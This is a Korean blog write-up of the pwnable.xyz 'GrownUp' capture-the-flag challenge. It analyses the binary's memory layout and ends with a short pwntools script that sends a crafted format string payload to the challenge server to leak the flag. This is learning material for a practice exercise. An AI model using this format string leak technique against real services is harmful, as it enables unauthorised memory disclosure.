pwnable.xyz - Grownup

728x90

몇일간 고생하다 해답보고 이해한 문제이다. 포맷스트링에 대한 개념을 좀더 확실히 공부하고 넘어가야 할거같다.

Decompile

main 함수
setup함수

 

setup 함수

1. 0x601168의 주소를 usr에 넣고, usr의 인덱스 136~138에 %s\n을 세팅

 

main 함수

1. setup 함수를 실행하여 작업수행

2. local_28에 0x10만큼 입력받음

3. local_28의 맨 마지막을 NULL(0x0)으로 할당

4. local_28이 y 또는 Y인지 확인

5. malloc(0x84, 132)후 __src에 0x80(128)만큼 입력 받음

6. strcpy를 이용해 usr에 __src 값을 복사함

7. %s(usr.128_8)을 이용해 usr값 출력

 

Analysis

df41이 0으로 바뀜(NULL)
df40에 y가 있음
y를 10번 입력한 후 메모리 상태
usr의 위치(0x6010e0)
flag 위치

 

usr과 0x60110과의 차이는 0x80
malloc이 반환한 청크의 메모리 내용
128만큼 입력하면 마지막이 NULL로 바뀜(0x601161)
usr은 0x6010e0이고

 

0x601100은 usr+0x20이고 0x20를 입력후 포맷스트링공격이 가능

buf에 0x601080을 8바이트 단위로 써준 후, 0x601080을 찾아 %s로 출력

 

Exploit Code

 

from pwn import *
p = remote("svc.pwnable.xyz", 30004)
print(p.readuntil(':')) # Are you 18 year @@@
p.write('y' * 8 + p64(0x601080))
formatstr = "%p %p %p %p %p %p %p %p %s %p %p %p"
print(p.readuntil(':')) # Name:
p.write('A' * 32 + formatstr + 'A' * (0x80 - 32 - len(formatstr)))
print(p.readuntil("AAAAA"))

 

부족한점

bss 메모리 구조 및 코드 구조를 잘 살펴보자..

 

참조

https://blog.encrypted.gg/790

 

[Pwnable.xyz] GrownUp

거의 일주일넘게 꽉 막혀있었다가 Jisoon Park님의 포스팅 덕분에 이해할 수 있었습니다. setting 함수는 main의 23번째 줄에서 보이는 qword_601160에 "%s\n"을 세팅하는 역할을 합니다. 이제 main 함수를 봅

blog.encrypted.gg

 

728x90

'pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - misalignment  (0) 2021.07.22
pwnable.xyz - add  (0) 2021.07.20
pwnable.xyz - welcome  (0) 2021.07.18